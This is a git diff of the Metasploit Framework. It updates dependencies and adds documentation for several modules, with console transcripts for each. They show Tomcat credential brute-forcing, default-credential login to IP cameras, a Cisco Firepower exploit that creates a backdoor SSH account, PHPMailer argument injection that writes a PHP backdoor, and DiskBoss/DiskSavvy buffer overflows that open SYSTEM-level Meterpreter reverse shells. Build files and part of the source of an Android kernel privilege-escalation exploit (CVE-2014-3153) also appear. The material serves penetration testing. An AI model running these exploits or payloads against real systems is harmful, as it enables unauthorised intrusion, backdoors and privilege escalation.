diff --git a/COPYING b/COPYING index b4b323c8b9..c30ea35e2b 100644 --- a/COPYING +++ b/COPYING @@ -1,4 +1,4 @@ -Copyright (C) 2006-2016, Rapid7, Inc. +Copyright (C) 2006-2017, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, diff --git a/Gemfile.lock b/Gemfile.lock index c84cff9735..bfbb309240 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.11) + metasploit-framework (4.13.16) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -16,7 +16,7 @@ PATH metasploit-model metasploit-payloads (= 1.2.6) metasploit_data_models - metasploit_payloads-mettle (= 0.1.4) + metasploit_payloads-mettle (= 0.1.6) msgpack nessus_rest net-ssh @@ -103,7 +103,7 @@ GEM thor (~> 0.19) bcrypt (3.1.11) bit-struct (0.15.0) - builder (3.2.2) + builder (3.2.3) capybara (2.11.0) addressable mime-types (>= 1.16) @@ -132,7 +132,7 @@ GEM nokogiri (~> 1.5) railties (>= 3, < 5.1) cucumber-wire (0.0.1) - diff-lcs (1.2.5) + diff-lcs (1.3) docile (1.1.5) erubis (2.7.0) factory_girl (4.8.0) @@ -140,16 +140,16 @@ GEM factory_girl_rails (4.8.0) factory_girl (~> 4.8.0) railties (>= 3.0.0) - faraday (0.10.1) + faraday (0.11.0) multipart-post (>= 1.2, < 3) - ffi (1.9.14) + ffi (1.9.17) filesize (0.1.1) fivemat (1.3.2) gherkin (4.0.0) i18n (0.7.0) - jsobfu (0.4.1) - rkelly-remix (= 0.0.6) - json (1.8.3) + jsobfu (0.4.2) + rkelly-remix + json (1.8.6) loofah (2.0.3) nokogiri (>= 1.5.9) metasm (1.0.2) @@ -180,7 +180,7 @@ GEM postgres_ext railties (~> 4.2.6) recog (~> 2.0) - metasploit_payloads-mettle (0.1.4) + metasploit_payloads-mettle (0.1.6) method_source (0.8.2) mime-types (3.1) mime-types-data (~> 3.2015) @@ -192,7 +192,7 @@ GEM multi_test (0.1.2) multipart-post (2.0.0) nessus_rest (0.1.6) - net-ssh (4.0.0) + net-ssh (4.0.1) network_interface (0.0.1) nokogiri (1.7.0.1) mini_portile2 (~> 2.1.0) @@ -234,7 +234,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (12.0.0) rb-readline-r7 (0.5.2.0) - recog (2.1.2) + recog (2.1.4) nokogiri redcarpet (3.4.0) rex-arch (0.1.4) @@ -245,7 +245,7 @@ GEM rex-core rex-struct2 rex-text - rex-core (0.1.5) + rex-core (0.1.6) rex-encoder (0.1.2) metasm rex-arch @@ -257,7 +257,7 @@ GEM rex-encoder rex-text rex-java (0.1.3) - rex-mime (0.1.1) + rex-mime (0.1.3) rex-text rex-nop (0.1.0) rex-arch @@ -273,16 +273,16 @@ GEM metasm rex-core rex-text - rex-socket (0.1.2) + rex-socket (0.1.3) rex-core - rex-sslscan (0.1.1) + rex-sslscan (0.1.2) rex-socket rex-text rex-struct2 (0.1.0) - rex-text (0.2.10) + rex-text (0.2.11) rex-zip (0.1.1) rex-text - rkelly-remix (0.0.6) + rkelly-remix (0.0.7) robots (0.10.1) rspec-core (3.5.4) rspec-support (~> 3.5.0) @@ -323,10 +323,10 @@ GEM thread_safe (~> 0.1) tzinfo-data (1.2016.10) tzinfo (>= 1.0.0) - windows_error (0.0.2) + windows_error (0.1.0) xpath (2.0.0) nokogiri (~> 1.3) - yard (0.9.5) + yard (0.9.8) PLATFORMS ruby diff --git a/LICENSE b/LICENSE index f65a054cf7..da3933b43b 100644 --- a/LICENSE +++ b/LICENSE @@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Source: http://www.metasploit.com/ Files: * -Copyright: 2006-2016, Rapid7, Inc. +Copyright: 2006-2017, Rapid7, Inc. License: BSD-3-clause # The Metasploit Framework is provided under the 3-clause BSD license provided diff --git a/data/exploits/CVE-2014-3153.elf b/data/exploits/CVE-2014-3153.elf deleted file mode 100755 index 2547c04abb..0000000000 Binary files a/data/exploits/CVE-2014-3153.elf and /dev/null differ diff --git a/data/exploits/CVE-2014-3153.so b/data/exploits/CVE-2014-3153.so new file mode 100755 index 0000000000..8066932ec1 Binary files /dev/null and b/data/exploits/CVE-2014-3153.so differ diff --git a/data/post/zip/zip.js b/data/post/zip/zip.js new file mode 100644 index 0000000000..c10c72dc68 --- /dev/null +++ b/data/post/zip/zip.js @@ -0,0 +1,87 @@ +/* + * Original technique from http://naterice.com/zip-and-unzip-files-using-the-windows-shell-and-vbscript/ + */ + +function create_zip(dst) +{ + var header = "\x50\x4b\x05\x06" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + + /* + * Trick to write a binary file regardless of the system locale + */ + var outw = new ActiveXObject("ADODB.Stream"); + outw.Type = 2; + outw.Open(); + outw.WriteText(header); + outw.Position = 0; + + var outa = new ActiveXObject("ADODB.Stream"); + outa.Type = 2; + outa.Charset = "windows-1252"; + outa.Open() + + outw.CopyTo(outa); + outa.SaveToFile(dst, 2); + + outw.Close(); + outa.Close(); +} + +function basename(path) +{ + var a = path.split("\\"); + var b = a.slice(-1); + return b[0]; +} + +function fileeq(a, b) +{ + return basename(a).toLowerCase() == basename(b).toLowerCase(); +} + +function zip(src, dst) +{ + var shell = new ActiveXObject('Shell.Application'); + var fso = new ActiveXObject('Scripting.FileSystemObject'); + + /* + * Normalize paths, required by the shell commands + */ + src = fso.GetAbsolutePathName(src); + dst = fso.GetAbsolutePathName(dst); + + /* + * Create an empty zip file if necessary + */ + if (!fso.FileExists(dst)) { + create_zip(dst); + } + + /* + * Check for duplicates + */ + var zipfile = shell.Namespace(dst); + var files = zipfile.items(); + var count = files.Count; + for (var i = 0; i < files.Count; i++) { + if (fileeq(files.Item(i).Name, src)) { + return; + } + } + + zipfile.CopyHere(src); + + /* + * Wait for completion, but data can be stale on network shares, so we + * abort after 5 seconds. + */ + var max_tries = 50; + while (count == zipfile.items().Count) { + WScript.Sleep(100); + if (max_tries-- == 0) { + return; + } + } +} diff --git a/data/post/zip/zip.vbs b/data/post/zip/zip.vbs deleted file mode 100644 index 8ae2cfbbf3..0000000000 --- a/data/post/zip/zip.vbs +++ /dev/null @@ -1,62 +0,0 @@ -On Error Resume Next - -Function WindowsZip(sFile, sZipFile) - 'This script is provided under the Creative Commons license located - 'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not - 'be used for commercial purposes with out the expressed written consent - 'of NateRice.com - - Set oZipShell = CreateObject("WScript.Shell") - Set oZipFSO = CreateObject("Scripting.FileSystemObject") - - If Not oZipFSO.FileExists(sZipFile) Then - NewZip(sZipFile) - End If - - Set oZipApp = CreateObject("Shell.Application") - - sZipFileCount = oZipApp.NameSpace(sZipFile).items.Count - - aFileName = Split(sFile, "\") - sFileName = (aFileName(Ubound(aFileName))) - - 'listfiles - sDupe = False - For Each sFileNameInZip In oZipApp.NameSpace(sZipFile).items - If LCase(sFileName) = LCase(sFileNameInZip) Then - sDupe = True - Exit For - End If - Next - - If Not sDupe Then - oZipApp.NameSpace(sZipFile).Copyhere sFile - - 'Keep script waiting until Compressing is done - On Error Resume Next - sLoop = 0 - Do Until sZipFileCount < oZipApp.NameSpace(sZipFile).Items.Count - Wscript.Sleep(100) - sLoop = sLoop + 1 - Loop - On Error GoTo 0 - End If -End Function - -Sub NewZip(sNewZip) - 'This script is provided under the Creative Commons license located - 'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not - 'be used for commercial purposes with out the expressed written consent - 'of NateRice.com - - Set oNewZipFSO = CreateObject("Scripting.FileSystemObject") - Set oNewZipFile = oNewZipFSO.CreateTextFile(sNewZip) - - oNewZipFile.Write Chr(80) & Chr(75) & Chr(5) & Chr(6) & String(18, 0) - - oNewZipFile.Close - Set oNewZipFSO = Nothing - - Wscript.Sleep(500) -End Sub - diff --git a/documentation/modules/auxiliary/admin/http/tomcat_administration.md b/documentation/modules/auxiliary/admin/http/tomcat_administration.md new file mode 100644 index 0000000000..c98c21be7a --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/tomcat_administration.md @@ -0,0 +1,51 @@ +## Vulnerable Application + + The administrator application was removed as of Tomcat 6. Tomcat 5.5.36 is available from [apache](https://archive.apache.org/dist/tomcat/tomcat-5/v5.5.36/). This does not have the `admin` app bundled though, and can be downloaded [here](https://archive.apache.org/dist/tomcat/tomcat-5/v5.5.36/bin/apache-tomcat-5.5.36-admin.zip). + + To utilize the `admin` application, a user must have the permission `admin` applied to their account. The following user line will handle all necessary permissions: + + ``` + + ``` + +## Verification Steps + + 1. Install Tomcat 5.5 or older + 2. Install the admin app + 3. Start msfconsole + 4. Do: ```use auxiliary/admin/http/tomcat_administration``` + 5. Do: ```set rhosts [ips]``` + 6. Do: ```set tomcat_user [username]``` + 7. Do: ```set tomcat_pass [username]``` + 8. Do: ```set rport [port]``` + 9. Do: ```run``` + 10. Find all the Tomcat admin portals + +## Options + + **rport** + + The default is set to `8180`, which is only default on FreeBSD. All other operating systems, and the software itself, default to `8080`. + +## Scenarios + + Example run against Tomcat 5.5.36 with admin module installed against Windows XP + + ``` + msf > use auxiliary/admin/http/tomcat_administration + msf auxiliary(tomcat_administration) > set rport 8085 + rport => 8085 + msf auxiliary(tomcat_administration) > set rhosts 192.168.2.108 + rhosts => 192.168.2.108 + msf auxiliary(tomcat_administration) > set verbose true + verbose => true + msf auxiliary(tomcat_administration) > set tomcat_pass tomcat + tomcat_pass => tomcat + msf auxiliary(tomcat_administration) > set tomcat_user tomcat + tomcat_user => tomcat + msf auxiliary(tomcat_administration) > run + + [*] http://192.168.2.108:8085/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5.36] [Tomcat Server Administration] [tomcat/tomcat] + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` diff --git a/documentation/modules/auxiliary/scanner/http/bavision_cam_login.md b/documentation/modules/auxiliary/scanner/http/bavision_cam_login.md new file mode 100644 index 0000000000..52d409d0ac --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/bavision_cam_login.md @@ -0,0 +1,28 @@ +This module allows you to log into an BAVision IP Camera's web server. + +The instructions shipped with the camera do not mention clearly regarding the existence of the +lighttpd web server, and it uses admin:123456 as the default credential. Even if the default +password is changed, the account could also be bruteforced since there is no policy for lockouts. + + +## Vulnerable Application + +The web server is built into the IP camera. Specifically, this camera was tested during development: + +"BAVISION 1080P HD Wifi Wireless IP Camera Home Security Baby Monitor Spy Pet/Dog Cameras Video Monitoring Plug/Play,Pan/Tilt With Two-Way Audio and Night Vision" + +http://goo.gl/pHAqS1 + +## Verification Steps + + 1. Read the instructions that come with the IP camera to set it up + 2. Find the IP of the camera (in lab, your router should have info about this) + 3. Do: ```use auxiliary/scanner/http/bavision_cam_login``` + 4. Set usernames and passwords + 5. Do: ```run``` + +## Options + + **TRYDEFAULT** + + The ```TRYDEFAULT``` options adds the default credential admin:123456 to the credential list. diff --git a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md index 9db11819dd..a868b98165 100644 --- a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md +++ b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md @@ -1,8 +1,8 @@ -The auxiliary/scanner/http/tomcat_mgr_login works for Tomcat versions that uses HTTP +The `auxiliary/scanner/http/tomcat_mgr_login` works for Tomcat versions that uses HTTP authentication. Please note that for Tomcat 7 or newer, the roles required to use the manager application were -changed from the single manager role to the following four roles: +changed from the single `manager` role to the following four roles: * manager-gui - Allows access to the HTML GUI and the status pages. * manager-script - Allows access to the text interface and the status pages. @@ -39,3 +39,98 @@ To download the vulnerable application, you can find it here: https://tomcat.apa 2. Do: ```set RHOSTS [IP]``` 3. Set TARGETURI if necessary. 4. Do: ```run``` + +## Scenarios + +All scenarios are run with the credentials tomcat/tomcat. + +### Tomcat 6 + +Tomcat 6.0.48 running on Ubuntu 14.04 + +``` +msf > use auxiliary/scanner/http/tomcat_mgr_login +msf auxiliary(tomcat_mgr_login) > set rport 8080 +rport => 8080 +msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.156 +rhosts => 192.168.2.156 +msf auxiliary(tomcat_mgr_login) > run + +[!] No active DB -- Credential data will not be saved! +[-] 192.168.2.156:8080 - LOGIN FAILED: admin:admin (Incorrect) +``` +...snip... + +``` +[-] 192.168.2.156:8080 - LOGIN FAILED: tomcat:root (Incorrect) +[+] 192.168.2.156:8080 - LOGIN SUCCESSFUL: tomcat:tomcat +[-] 192.168.2.156:8080 - LOGIN FAILED: both:admin (Incorrect) +``` +...snip... + +``` +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### Tomcat 7 + +Tomcat 7.0.68 running on Windows XP + +``` +msf > use auxiliary/scanner/http/tomcat_mgr_login +msf auxiliary(tomcat_mgr_login) > set rport 8087 +rport => 8087 +msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.108 +rhosts => 192.168.2.108 +msf auxiliary(tomcat_mgr_login) > run + +[!] No active DB -- Credential data will not be saved! +[-] 192.168.2.108:8087 - LOGIN FAILED: admin:admin (Incorrect) +``` + +...snip... + +``` +[-] 192.168.2.108:8087 - LOGIN FAILED: tomcat:root (Incorrect) +[+] 192.168.2.108:8087 - LOGIN SUCCESSFUL: tomcat:tomcat +[-] 192.168.2.108:8087 - LOGIN FAILED: both:admin (Incorrect) +``` + +...snip... + +``` +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### Tomcat 8 + +Tomcat 8.0.32 unning on Windows XP + +``` +msf > use auxiliary/scanner/http/tomcat_mgr_login +msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.108 +rhosts => 192.168.2.108 +msf auxiliary(tomcat_mgr_login) > set rport 8088 +rport => 8088 +msf auxiliary(tomcat_mgr_login) > run + +[!] No active DB -- Credential data will not be saved! +[-] 192.168.2.108:8088 - LOGIN FAILED: admin:admin (Incorrect) +``` + +...snip... + +``` +[-] 192.168.2.108:8088 - LOGIN FAILED: tomcat:root (Incorrect) +[+] 192.168.2.108:8088 - LOGIN SUCCESSFUL: tomcat:tomcat +[-] 192.168.2.108:8088 - LOGIN FAILED: both:admin (Incorrect) +``` + +...snip... + +``` +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md b/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md new file mode 100644 index 0000000000..d7044285ff --- /dev/null +++ b/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md @@ -0,0 +1,35 @@ +This module exploits a vulnerability in Cisco Firepower Management Console RCE. It will +create a backdoor SSH account via HTTPS, and then obtain a native payload session +in SSH. + +## Vulnerable Application + +This exploit was specifically written against 6.0.1 (build 1213). To test, you can find the +virtual appliance here: + +https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=286271056&release=6.0.1&flowid=54052 + + + +## Verification Steps + +1. Start msfconsole +2. ```use exploit/linux/http/cisco_firepower_useradd``` +3. ```set password [https console password for admin]``` +4. ```set rhost [IP]``` +5. ```set payload linux/x86/meterpreter/reverse_tcp``` +6. ```set lhost [IP]``` +7. ```exploit``` +8. You should get a session + +## Options + +**USERNAME** The username for Cisco Firepower Management console + +**Password** The password for Cisco Firepower Management cosnole + +**NEWSSHUSER** The SSH account to create. By default, this is random. + +**NEWSSHPASS** The SSH password for the new account. By default, this is also random. + +**SSHPORT** In case for some reason, the SSH changed, otherwise this is 22 by default. diff --git a/documentation/modules/exploit/multi/http/phpmailer_arg_injection.md b/documentation/modules/exploit/multi/http/phpmailer_arg_injection.md new file mode 100644 index 0000000000..a84d91529e --- /dev/null +++ b/documentation/modules/exploit/multi/http/phpmailer_arg_injection.md @@ -0,0 +1,79 @@ +## Vulnerable Application + +PHPMailer versions up to and including [5.2.20](https://github.com/PHPMailer/PHPMailer/archive/v5.2.20.tar.gz) are affected by a vulnerability which can be leveraged by an attacker to +write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed +to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an +HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful +exploitation can take a few minutes. + +[5.1.18](https://github.com/PHPMailer/PHPMailer/archive/v5.2.18.tar.gz) is also targetted. + +## Verification Steps + + 1. Install a vulnerable PHPMailer + 2. Start msfconsole + 3. `use exploit/multi/http/phpmailer_arg_injection` + 4. Set the TARGETURI and WEB_ROOT options as applicable + 5. `exploit` + 6. Verify the module yields a PHP meterpreter session in < 5 minutes + 7. Verify the malicious PHP file was automatically removed + +## Scenarios + + Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768) + +``` +msf (S:0 J:0) exploit(php_mailer) > options + +Module options (exploit/linux/http/php_mailer): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 192.168.90.134 yes The target address + RPORT 8080 yes The target port + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Path to the application root + TRIGGERURI no Path to the uploaded payload + VHOST no HTTP server virtual host + WEB_ROOT /www yes Path to the web root + + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.90.134 yes The listen address + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +msf (S:0 J:0) exploit(php_mailer) > rexploit +[*] Reloading module... + +[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444 +[*] [2016.12.29-17:03:47] Writing the backdoor to /www/0IxI5AFB.php +[*] [2016.12.29-17:04:07] Sleeping before requesting the written file +[*] [2016.12.29-17:04:07] Waiting for up to 300 seconds to trigger the payload +[+] [2016.12.29-17:04:48] Successfully found the payload +[*] [2016.12.29-17:05:50] Sending stage (34122 bytes) to 172.17.0.2 +[*] Meterpreter session 4 opened (192.168.90.134:4444 -> 172.17.0.2:47280) at 2016-12-29 17:05:50 -0500 +[+] [2016.12.29-17:05:50] Deleted /www/0IxI5AFB.php +[+] [2016.12.29-17:06:10] Successfully triggered the payload + + +meterpreter > sysinfo +Computer : 90f0c8e8dbe4 +OS : Linux 90f0c8e8dbe4 4.8.15-200.fc24.x86_64 #1 SMP Thu Dec 15 23:09:22 UTC 2016 x86_64 +Meterpreter : php/linux + +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/http/diskboss_get_bof.md b/documentation/modules/exploit/windows/http/diskboss_get_bof.md new file mode 100644 index 0000000000..319a945142 --- /dev/null +++ b/documentation/modules/exploit/windows/http/diskboss_get_bof.md @@ -0,0 +1,100 @@ +## Vulnerable Application + +[DiskBoss Enterprise](http://www.diskboss.com) versions up to v7.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/71a11b97d2361389b9099e57f6400270-diskbossent_setup_v7.4.28.exe). + +## Verification Steps + 1. Install a vulnerable DiskBoss Enterprise + 2. Start `DiskBoss Enterprise` service + 3. Start `DiskBoss Enterprise` client application + 4. Navigate to `Tools` > `DiskBoss Server Options` > `Server` + 5. Check `Enable Web Server On Port 80` to start the web interface + 6. Start `msfconsole` + 7. Do `use exploit/windows/http/diskboss_get_bof` + 8. Do `set rhost ip` + 9. Do `check` + 10. Verify the target is vulnerable + 11. Do `set payload windows/meterpreter/reverse_tcp` + 12. Do `set lhost ip` + 13. Do `exploit` + 14. Verify the Meterpreter session is opened + +## Scenarios + +###DiskBoss Enterprise v7.5.12 on Windows XP SP3 + +``` +msf exploit(diskboss_get_bof) > options + +Module options (exploit/windows/http/diskboss_get_bof): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 192.168.198.130 yes The target address + RPORT 80 yes The target port + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 192.168.198.138 yes The listen address + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Targeting + + +msf exploit(diskboss_get_bof) > exploit + +[*] Started reverse TCP handler on 192.168.198.138:4444 +[*] Automatically detecting the target... +[*] Selected Target: DiskBoss Enterprise v7.5.12 +[*] Sending stage (957999 bytes) to 192.168.198.130 +[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:4476) at 2017-01-08 05:12:46 -0500 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : GABOR-03722ADE8 +OS : Windows XP (Build 2600, Service Pack 3). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +meterpreter > +``` + +###DiskBoss Enterprise v7.4.28 on Windows 7 SP1 + +``` +msf exploit(diskboss_get_bof) > set rhost 192.168.198.133 +rhost => 192.168.198.130 +msf exploit(diskboss_get_bof) > exploit + +[*] Started reverse TCP handler on 192.168.198.138:4444 +[*] Automatically detecting the target... +[*] Selected Target: DiskBoss Enterprise v7.4.28 +[*] Sending stage (957999 bytes) to 192.168.198.133 +[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.133:49187) at 2017-01-08 05:16:13 -0500 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-BCJL9PJ5BF5 +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/http/disksavvy_get_bof.md b/documentation/modules/exploit/windows/http/disksavvy_get_bof.md new file mode 100644 index 0000000000..dc16bc9846 --- /dev/null +++ b/documentation/modules/exploit/windows/http/disksavvy_get_bof.md @@ -0,0 +1,100 @@ +## Vulnerable Application + +[DiskSavvy Enterprise](http://www.disksavvy.com) versions up to v9.3.14 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/20058a6ebf1120bca9ac92b493cac1ff-disksavvyent_setup_v9.1.14.exe). + +## Verification Steps + 1. Install a vulnerable DiskSavvy Enterprise + 2. Start `Disk Savvy Enterprise` service + 3. Start `Disk Savvy Enterprise` client application + 4. Navigate to `Tools` > `Advanced Options` > `Server` + 5. Check `Enable Web Server On Port 80` to start the web interface + 6. Start `msfconsole` + 7. Do `use exploit/windows/http/disksavvy_get_bof` + 8. Do `set rhost ip` + 9. Do `check` + 10. Verify the target is vulnerable + 11. Do `set payload windows/meterpreter/reverse_tcp` + 12. Do `set lhost ip` + 13. Do `exploit` + 14. Verify the Meterpreter session is opened + +## Scenarios + +###DiskSavvy Enterprise v9.1.14 on Windows XP SP3 + +``` +msf exploit(disksavvy_get_bof) > options + +Module options (exploit/windows/http/disksavvy_get_bof): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 192.168.198.130 yes The target address + RPORT 80 yes The target port + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 192.168.198.138 yes The listen address + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Targeting + + +msf exploit(disksavvy_get_bof) > exploit + +[*] Started reverse TCP handler on 192.168.198.138:4444 +[*] Automatically detecting the target... +[*] Selected Target: DiskSavvy Enterprise v9.1.14 +[*] Sending stage (957999 bytes) to 192.168.198.130 +[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:1140) at 2017-01-19 13:38:18 -0500 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : GABOR-03722ADE8 +OS : Windows XP (Build 2600, Service Pack 3). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +meterpreter > +``` + +###DiskSavvy Enterprise v9.3.14 on Windows 7 SP1 + +``` +msf exploit(disksavvy_get_bof) > set rhost 192.168.198.133 +rhost => 192.168.198.130 +msf exploit(disksavvy_get_bof) > exploit + +[*] Started reverse TCP handler on 192.168.198.138:4444 +[*] Automatically detecting the target... +[*] Selected Target: DiskSavvy Enterprise v9.3.14 +[*] Sending stage (957999 bytes) to 192.168.198.133 +[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.133:49187) at 2017-01-08 05:16:13 -0500 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-BCJL9PJ5BF5 +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +meterpreter > +``` diff --git a/external/source/exploits/CVE-2014-3153/Android.mk b/external/source/exploits/CVE-2014-3153/Android.mk index 8132a47f99..064998ae77 100644 --- a/external/source/exploits/CVE-2014-3153/Android.mk +++ b/external/source/exploits/CVE-2014-3153/Android.mk @@ -3,8 +3,19 @@ LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) -LOCAL_MODULE := exploit -LOCAL_SRC_FILES := exploit.c -LOCAL_CFLAGS := -fno-stack-protector -O0 +LOCAL_MODULE := debugexploit +LOCAL_SRC_FILES := futex_requeue.c main.c +LOCAL_LDFLAGS += -llog +LOCAL_CFLAGS += -DDEBUG +LOCAL_CFLAGS += -fno-stack-protector -O0 include $(BUILD_EXECUTABLE) +include $(CLEAR_VARS) + +LOCAL_CFLAGS += -fno-stack-protector -O0 +LOCAL_MODULE := exploit +LOCAL_SRC_FILES := futex_requeue.c main.c + +include $(BUILD_SHARED_LIBRARY) + + diff --git a/external/source/exploits/CVE-2014-3153/Makefile b/external/source/exploits/CVE-2014-3153/Makefile index c6ce0c76b0..aeab0b2c80 100644 --- a/external/source/exploits/CVE-2014-3153/Makefile +++ b/external/source/exploits/CVE-2014-3153/Makefile @@ -2,14 +2,16 @@ all: install build: - ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk + ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi install: build - mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf + mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2014-3153.so -test: build - adb push libs/armeabi/exploit /data/local/tmp/exploit - adb shell "cd /data/local/tmp; ./exploit id" +push: build + adb push libs/armeabi/debugexploit /data/local/tmp/futex + +run: push + adb shell "/data/local/tmp/futex" clean: rm -rf libs diff --git a/external/source/exploits/CVE-2014-3153/exploit.c b/external/source/exploits/CVE-2014-3153/exploit.c deleted file mode 100644 index d012f57a20..0000000000 --- a/external/source/exploits/CVE-2014-3153/exploit.c +++ /dev/null @@ -1,834 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define FUTEX_WAIT_REQUEUE_PI 11 -#define FUTEX_CMP_REQUEUE_PI 12 - -#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a))) - -#define KERNEL_START 0xc0000000 - -#define LOCAL_PORT 5551 - -struct thread_info; -struct task_struct; -struct cred; -struct kernel_cap_struct; -struct task_security_struct; -struct list_head; - -struct thread_info { - unsigned long flags; - int preempt_count; - unsigned long addr_limit; - struct task_struct *task; - - /* ... */ -}; - -struct kernel_cap_struct { - unsigned long cap[2]; -}; - -struct cred { - unsigned long usage; - uid_t uid; - gid_t gid; - uid_t suid; - gid_t sgid; - uid_t euid; - gid_t egid; - uid_t fsuid; - gid_t fsgid; - unsigned long securebits; - struct kernel_cap_struct cap_inheritable; - struct kernel_cap_struct cap_permitted; - struct kernel_cap_struct cap_effective; - struct kernel_cap_struct cap_bset; - unsigned char jit_keyring; - void *thread_keyring; - void *request_key_auth; - void *tgcred; - struct task_security_struct *security; - - /* ... */ -}; - -struct list_head { - struct list_head *next; - struct list_head *prev; -}; - -struct task_security_struct { - unsigned long osid; - unsigned long sid; - unsigned long exec_sid; - unsigned long create_sid; - unsigned long keycreate_sid; - unsigned long sockcreate_sid; -}; - - -struct task_struct_partial { - struct list_head cpu_timers[3]; - struct cred *real_cred; - struct cred *cred; - struct cred *replacement_session_keyring; - char comm[16]; -}; - - -struct mmsghdr { - struct msghdr msg_hdr; - unsigned int msg_len; -}; - -//bss -int uaddr1 = 0; -int uaddr2 = 0; -struct thread_info *HACKS_final_stack_base = NULL; -pid_t waiter_thread_tid; -pthread_mutex_t done_lock; -pthread_cond_t done; -pthread_mutex_t is_thread_desched_lock; -pthread_cond_t is_thread_desched; -volatile int do_socket_tid_read = 0; -volatile int did_socket_tid_read = 0; -volatile int do_splice_tid_read = 0; -volatile int did_splice_tid_read = 0; 